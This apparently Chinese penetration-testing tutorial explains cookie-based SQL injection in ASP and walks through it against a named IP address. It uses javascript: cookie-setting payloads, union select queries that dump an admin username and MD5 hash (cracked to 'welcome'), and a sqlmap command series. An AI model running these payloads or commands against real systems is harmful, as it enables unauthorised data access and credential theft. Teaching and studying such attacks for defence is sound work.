cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。
在ASP中,request对象获取客户端提交数据常用的是get和post两种方式,同时request可以不通过集合来获得数据,即直接使用"request("name")"。但它效率低下,容易出错,当我们省略具体的集合名称时,asp是按QueryString(get),Form(post),Cookie,Severvariable,集合的顺序来搜索的。cookie是保存在客户端的一个文本文件,可以进行修改,这样一来,就可以利用Request.cookie方式来提交变量的值,从而进行注入攻击。
首先我们需要找到一个注入点,目前我们是使用get方式提交的参数,要更改成cookie方式提交,我们首先要访问正常的存在注入点的页面,等页面完全打开之后,我们将IE地址栏清空,然后写上:javascript:alert(document.cookie="id="+escape("x")); 这里的“id=”便是“注入点中id=x”中的“id=”,“escape("x")”中的“x”是“id=x”中的“x”了,这两处要根据实际情况来定义。写完之后按下回车网页中会弹出一个对话框。
现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中重新打开那个注入点既是将“id=x”去掉后的,然后看是否能正常访问。
如果去掉之后能够继续访问 那么说明可以进行cookie注入,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。比如著名的单引号测试法,当然也就可以在语句上添加上手工注入的语句,达到绕过拦截的目的 。
document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码。
cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
目标站:
存在注入点,但过滤了普通注入方式,get和post方式提交的参数被waf过滤掉了关键字,导致无法输入and select等字符
http://120.203.13.75:8001/shownews.asp?id=171
http://120.203.13.75:8001/shownews.asp?id=171 and 1=1 //弹出屏蔽提示,不可以输入and之类的字符
正常打开目标页面后,url栏输入javascript:alert(document.cookie="id="+escape("171"));
再次访问http://120.203.13.75:8001/shownews.asp,发现正常显示出了http://120.203.13.75:8001/shownews.asp?id=171的页面,说明用cookie提交参数的方式访问成功了,接下来进行进一步测试
再次在浏览器中输入javascript:alert(document.cookie="id="+escape("171 and 1=1"));和javascript:alert(document.cookie="id="+escape("171 and 1=2")); //发现1=1返回正常,1=2返回错误,说明代码并没有对cookie方式提交的参数进行过滤。
继续使用cookie方式注入,猜测注入点字段:
javascript:alert(document.cookie="id="+escape("171 order by 15")); //返回错误,直到10才正常
继续猜测表名:
javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin")); //返回正常,存在admin表,并且页面中显示出了可以回显数据的字段,为2,3,7,8,9.
猜测表中的列名:
javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,username,3,4,5,6,7,8,9,10 from admin")); //返回正常,有username这个字段,同样的方式猜测出了password字段。
爆出字段中的数据:
javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); //用户名admin ,密码b9a2a2b5dffb918c,这种以字母和数字组成的,16/32位的加密方式通常是MD5,将其在网上解密得到welcome。
注入攻击本质:
将用户输入的数据当做代码执行,这里有2个关键条件:
1. 用户可以控制输入
2. 原本程序要执行的代码,拼接了用户输入的成为一串新的代码
Sqlmap方式:
sqlmap -u “http://120.203.13.75:8001/shownews.asp” --cookie “id=171” –-level 2 //一定要加--level 2,(1,2,3,4,5)测试等级,等级越高测试包括的范围越广,例如2时,会利用http头进行测试攻击,--cookie代表使用http头中的cookie进行sql注入
其他步骤一样
sqlmap -u “http://120.203.13.75:8001/shownews.asp” --cookie “id=171” –-level 2 --dbs //发现是acess数据库,只需要—tables就行
sqlmap -u “http://120.203.13.75:8001/shownews.asp” --cookie “id=171” –-level 2 --tables //爆出表名
sqlmap -u “http://120.203.13.75:8001/shownews.asp” --cookie “id=171” –-level 2 –T “admin” --columns //爆出列名
sqlmap -u “http://120.203.13.75:8001/shownews.asp” --cookie “id=171” –-level 2 –T “admin” –C “username,password” --dump //爆出数据
HTTP头:(发送请求过去的头)
Referer:用户从该url代表的页面出发,访问当前请求的页面 ---你从哪里来
Host:请求的web服务器域名地址 ---你找的是谁
User-Agent:客户端运行的浏览器类型的详细信息 ---你用的什么浏览器
Accept:浏览器能接受的....如支持什么语言,支持什么编码,支持什么内容(html,xhtml,jpg等) ---你能看懂啥
此目标站用弱口令也可以爆破出密码。渗透测试的方法是很多的
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.